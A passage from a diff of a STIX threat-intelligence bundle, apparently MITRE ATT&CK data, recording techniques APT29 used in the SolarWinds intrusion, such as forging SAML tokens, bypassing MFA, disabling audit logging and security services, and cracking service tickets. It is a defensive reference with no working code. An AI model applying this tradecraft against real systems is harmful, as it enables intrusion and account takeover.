"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3", + "external_references": [ + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021." + }, + { + "source_name": "FireEye SUNSHUTTLE Mar 2021", + "url": "https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html", + "description": "Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. Retrieved March 12, 2021." + } + ], + "description": "[APT29](https://attack.mitre.org/groups/G0016) has acquired C2 domains through resellers.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)", + "relationship_type": "uses", + "id": "relationship--3e129969-aa21-4667-b0bb-bef19a61cdfe", + "type": "relationship", + "modified": "2021-04-16T21:33:50.552Z", + "created": "2021-04-16T21:33:50.552Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba", + "external_references": [ + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021." + } + ], + "description": "[APT29](https://attack.mitre.org/groups/G0016) has compromised domains to use for C2.(Citation: MSTIC NOBELIUM Mar 2021)", + "relationship_type": "uses", + "id": "relationship--6429a352-b7b7-414b-9e59-e37f47176227", + "type": "relationship", + "modified": "2021-04-16T21:33:50.558Z", + "created": "2021-04-16T21:33:50.558Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", + "external_references": [ + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021." + } + ], + "description": "[APT29](https://attack.mitre.org/groups/G0016) has used compromised identities to access VPNs and remote access tools.(Citation: MSTIC NOBELIUM Mar 2021)", + "relationship_type": "uses", + "id": "relationship--8bc0dbc4-f84b-448a-95f9-f6b0ae56f256", + "type": "relationship", + "modified": "2021-04-16T21:33:50.560Z", + "created": "2021-04-16T21:33:50.560Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611", + "external_references": [ + { + "source_name": "Microsoft Deep Dive Solorigate January 2021", + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021." + } + ], + "description": "[APT29](https://attack.mitre.org/groups/G0016) modified timestamps of backdoors to match legitimate Windows files.(Citation: Microsoft Deep Dive Solorigate January 2021)", + "relationship_type": "uses", + "id": "relationship--640530a4-f05e-44bd-af1e-baf008eb0016", + "type": "relationship", + "modified": "2021-04-16T21:33:50.592Z", + "created": "2021-04-16T21:33:50.592Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a", + "external_references": [ + { + "source_name": "Microsoft Deep Dive Solorigate January 2021", + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021." + } + ], + "description": "[APT29](https://attack.mitre.org/groups/G0016) used AUDITPOL to prevent the collection of audit logs.(Citation: Microsoft Deep Dive Solorigate January 2021)", + "relationship_type": "uses", + "id": "relationship--c51f583d-8f8e-4993-b8f1-5185a598e2dd", + "type": "relationship", + "modified": "2021-04-16T21:33:50.594Z", + "created": "2021-04-16T21:33:50.594Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755", + "external_references": [ + { + "source_name": "Symantec RAINDROP January 2021", + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", + "description": "Symantec Threat Hunter Team. (2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021." + } + ], + "description": "[APT29](https://attack.mitre.org/groups/G0016) configured at least one instance of [Cobalt Strike](https://attack.mitre.org/software/S0154) to use a network pipe over SMB during the 2020 SolarWinds intrusion.(Citation: Symantec RAINDROP January 2021)", + "relationship_type": "uses", + "id": "relationship--84664324-cb0c-461e-af51-3c5d06d737f7", + "type": "relationship", + "modified": "2021-04-16T21:33:50.598Z", + "created": "2021-04-16T21:33:50.598Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b", + "external_references": [ + { + "source_name": "Microsoft Deep Dive Solorigate January 2021", + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021." + } + ], + "description": "[APT29](https://attack.mitre.org/groups/G0016) used netsh to configure firewall rules that limited certain UDP outbound packets.(Citation: Microsoft Deep Dive Solorigate January 2021)", + "relationship_type": "uses", + "id": "relationship--b01b8273-ca9d-4737-be37-ec1b088cce13", + "type": "relationship", + "modified": "2021-04-16T21:33:50.628Z", + "created": "2021-04-16T21:33:50.628Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "external_references": [ + { + "source_name": "Symantec RAINDROP January 2021", + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", + "description": "Symantec Threat Hunter Team. (2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021." + } + ], + "description": "[APT29](https://attack.mitre.org/groups/G0016) used 7-Zip to decode its [Raindrop](https://attack.mitre.org/software/S0565) malware.(Citation: Symantec RAINDROP January 2021)", + "relationship_type": "uses", + "id": "relationship--1b1883b4-6fc9-487a-8429-6a0c0322e26d", + "type": "relationship", + "modified": "2021-04-16T21:33:50.641Z", + "created": "2021-04-16T21:33:50.641Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf", + "external_references": [ + { + "source_name": "Microsoft 365 Defender Solorigate", + "url": "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/", + "description": "Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021." + } + ], + "description": "[APT29](https://attack.mitre.org/groups/G0016) obtained the private encryption key from an Active Directory Federation Services (AD FS) container to decrypt corresponding SAML signing certificates.(Citation: Microsoft 365 Defender Solorigate)", + "relationship_type": "uses", + "id": "relationship--b736d393-d6ac-49cd-b81e-06a40ec9b48b", + "type": "relationship", + "modified": "2021-04-16T21:33:50.633Z", + "created": "2021-04-16T21:33:50.633Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", + "external_references": [ + { + "source_name": "Microsoft Deep Dive Solorigate January 2021", + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021." + } + ], + "description": "[APT29](https://attack.mitre.org/groups/G0016) used the service control manager on a remote system to disable services associated with security monitoring products.(Citation: Microsoft Deep Dive Solorigate January 2021)", + "relationship_type": "uses", + "id": "relationship--b75ff682-def9-4928-8396-f12a078a54e3", + "type": "relationship", + "modified": "2021-04-16T21:33:50.639Z", + "created": "2021-04-16T21:33:50.639Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee", + "external_references": [ + { + "source_name": "Microsoft Deep Dive Solorigate January 2021", + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021." + } + ], + "description": "[APT29](https://attack.mitre.org/groups/G0016) obtained Ticket Granting Service (TGS) tickets for Active Directory Service Principle Names to crack offline.(Citation: Microsoft Deep Dive Solorigate January 2021)", + "relationship_type": "uses", + "id": "relationship--e6b1270f-e792-4ba3-ba09-6452481c42ff", + "type": "relationship", + "modified": "2021-04-16T21:33:50.649Z", + "created": "2021-04-16T21:33:50.649Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "external_references": [ + { + "source_name": "Microsoft Deep Dive Solorigate January 2021", + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021." + } + ], + "description": "[APT29](https://attack.mitre.org/groups/G0016) has used [AdFind](https://attack.mitre.org/software/S0552) to enumerate remote systems.(Citation: Microsoft Deep Dive Solorigate January 2021)", + "relationship_type": "uses", + "id": "relationship--fcba82f3-45f5-411f-8427-7d07827a8cc9", + "type": "relationship", + "modified": "2021-04-16T21:33:50.645Z", + "created": "2021-04-16T21:33:50.645Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65", + "external_references": [ + { + "source_name": "Symantec RAINDROP January 2021", + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", + "description": "Symantec Threat Hunter Team. (2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021." + } + ], + "description": "[APT29](https://attack.mitre.org/groups/G0016) has used WinRM via PowerShell to execute command and payloads on remote hosts.(Citation: Symantec RAINDROP January 2021)", + "relationship_type": "uses", + "id": "relationship--757dd365-1b17-4bee-af4e-44a409d8d3f8", + "type": "relationship", + "modified": "2021-04-16T21:33:50.647Z", + "created": "2021-04-16T21:33:50.647Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "external_references": [ + { + "source_name": "Microsoft Deep Dive Solorigate January 2021", + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021." + } + ], + "description": "[APT29](https://attack.mitre.org/groups/G0016) used fsutil to check available free space before executing actions that might create large files on disk.(Citation: Microsoft Deep Dive Solorigate January 2021)", + "relationship_type": "uses", + "id": "relationship--7bb4458c-2523-4e6f-8530-38dbe456efaf", + "type": "relationship", + "modified": "2021-04-16T21:33:50.655Z", + "created": "2021-04-16T21:33:50.655Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0", + "external_references": [ + { + "source_name": "Microsoft Deep Dive Solorigate January 2021", + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021." + } + ], + "description": "[APT29](https://attack.mitre.org/groups/G0016) used account credentials they obtained to attempt access to Group Managed Service Account (gMSA) passwords.(Citation: Microsoft Deep Dive Solorigate January 2021)", + "relationship_type": "uses", + "id": "relationship--2fc7a851-81b8-4046-acdc-96801b4081f2", + "type": "relationship", + "modified": "2021-04-16T21:33:50.643Z", + "created": "2021-04-16T21:33:50.643Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "attack-pattern--c3c8c916-2f3c-4e71-94b2-240bdfc996f0", + "external_references": [ + { + "source_name": "Volexity SolarWinds", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020." + } + ], + "description": "[APT29](https://attack.mitre.org/groups/G0016) used a forged duo-sid cookie to bypass MFA set on an email account.(Citation: Volexity SolarWinds)", + "relationship_type": "uses", + "id": "relationship--251259cf-8e05-49b5-aeda-fc71cac14c92", + "type": "relationship", + "modified": "2021-04-16T21:33:50.702Z", + "created": "2021-04-16T21:33:50.702Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "external_references": [ + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021." + }, + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021." + } + ], + "description": "[APT29](https://attack.mitre.org/groups/G0016) used different compromised credentials for remote access and to move laterally.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: MSTIC NOBELIUM Mar 2021)", + "relationship_type": "uses", + "id": "relationship--b43fffda-8c38-4f86-b046-5792882c9ee4", + "type": "relationship", + "modified": "2021-04-16T21:33:50.706Z", + "created": "2021-04-16T21:33:50.706Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "external_references": [ + { + "source_name": "Volexity SolarWinds", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020." + }, + { + "source_name": "Microsoft Deep Dive Solorigate January 2021", + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021." + } + ], + "description": "[APT29](https://attack.mitre.org/groups/G0016) has used multiple command-line utilities to enumerate running processes.(Citation: Volexity SolarWinds)(Citation: Microsoft Deep Dive Solorigate January 2021)", + "relationship_type": "uses", + "id": "relationship--367f5489-4e50-4227-8c67-076970dda868", + "type": "relationship", + "modified": "2021-04-16T21:33:50.704Z", + "created": "2021-04-16T21:33:50.704Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "attack-pattern--24769ab5-14bd-4f4e-a752-cfb185da53ee", + "external_references": [ + { + "source_name": "Microsoft 365 Defender Solorigate", + "url": "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/", + "description": "Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021." + } + ], + "description": "[APT29](https://attack.mitre.org/groups/G0016) changed domain federation trust settings using Azure AD administrative permissions to configure the domain to accept authorization tokens signed by their own SAML signing certificate.(Citation: Microsoft 365 Defender Solorigate)", + "relationship_type": "uses", + "id": "relationship--4de19366-5706-4b43-b105-089b85321f46", + "type": "relationship", + "modified": "2021-04-16T21:33:50.763Z", + "created": "2021-04-16T21:33:50.763Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "attack-pattern--f303a39a-6255-4b89-aecc-18c4d8ca7163", + "external_references": [ + { + "source_name": "Microsoft 365 Defender Solorigate", + "url": "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/", + "description": "Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021." + }, + { + "source_name": "Microsoft Deep Dive Solorigate January 2021", + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021." + } + ], + "description": "[APT29](https://attack.mitre.org/groups/G0016) leveraged privileged accounts to replicate directory service data with domain controllers.(Citation: Microsoft 365 Defender Solorigate)(Citation: Microsoft Deep Dive Solorigate January 2021)", + "relationship_type": "uses", + "id": "relationship--26235ba8-b63a-4a45-8868-cafdd3482db5", + "type": "relationship", + "modified": "2021-04-16T21:33:50.765Z", + "created": "2021-04-16T21:33:50.765Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0", + "external_references": [ + { + "source_name": "Volexity SolarWinds", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020." + }, + { + "source_name": "Microsoft Deep Dive Solorigate January 2021", + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021." + } + ], + "description": "[APT29](https://attack.mitre.org/groups/G0016) used the Get-AcceptedDomain PowerShell cmdlet to enumerate accepted domains through an Exchange Management Shell.(Citation: Volexity SolarWinds) They also used [AdFind](https://attack.mitre.org/software/S0552) to enumerate domains and to discover trust between federated domains.(Citation: Microsoft Deep Dive Solorigate January 2021)", + "relationship_type": "uses", + "id": "relationship--7bf0a568-d639-4aa0-9f2e-25d821d79320", + "type": "relationship", + "modified": "2021-04-16T21:33:50.767Z", + "created": "2021-04-16T21:33:50.767Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "external_references": [ + { + "source_name": "Volexity SolarWinds", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020." + } + ], + "description": "[APT29](https://attack.mitre.org/groups/G0016) has extracted files from compromised networks.(Citation: Volexity SolarWinds) ", + "relationship_type": "uses", + "id": "relationship--4f12d30c-ddd2-4100-9554-1d3f0905b834", + "type": "relationship", + "modified": "2021-04-16T21:33:50.770Z", + "created": "2021-04-16T21:33:50.770Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814", + "external_references": [ + { + "source_name": "Microsoft 365 Defender Solorigate", + "url": "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/", + "description": "Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021." + } + ], + "description": "[APT29](https://attack.mitre.org/groups/G0016) used forged SAML tokens that allowed the actors to impersonate users and bypass MFA, enabling [APT29](https://attack.mitre.org/groups/G0016) to access enterprise cloud applications and services.(Citation: Microsoft 365 Defender Solorigate)", + "relationship_type": "uses", + "id": "relationship--60165254-794f-4ca9-9ab8-8931ee537bbd", + "type": "relationship", + "modified": "2021-04-19T13:12:16.027Z", + "created": "2021-04-16T21:33:50.772Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "attack-pattern--e74de37c-a829-446c-937d-56a44f0e9306", + "external_references": [ + { + "source_name": "Volexity SolarWinds", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020." + }, + { + "source_name": "Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks", + "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/", + "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020." + } + ], + "description": "[APT29](https://attack.mitre.org/groups/G0016) added their own devices as allowed IDs for active sync using Set-CASMailbox, allowing it to obtain copies of victim mailboxes. It also added additional permissions (such as Mail.Read and Mail.ReadWrite) to compromised Application or Service Principals.(Citation: Volexity SolarWinds)(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks)", + "relationship_type": "uses", + "id": "relationship--6e56f781-0841-4d10-9b84-8a97447cb124", + "type": "relationship", + "modified": "2021-04-16T21:33:50.783Z", + "created": "2021-04-16T21:33:50.783Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "external_references": [ + { + "source_name": "Volexity SolarWinds", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020." + } + ], + "description": "[APT29](https://attack.mitre.org/groups/G0016) has used HTTP for C2 and data exfiltration.(Citation: Volexity SolarWinds)", + "relationship_type": "uses", + "id": "relationship--c38e9a18-170d-46a8-8e39-c49e03785341", + "type": "relationship", + "modified": "2021-04-16T21:33:50.781Z", + "created": "2021-04-16T21:33:50.781Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "attack-pattern--8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5", + "external_references": [ + { + "source_name": "Volexity SolarWinds", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020." + } + ], + "description": 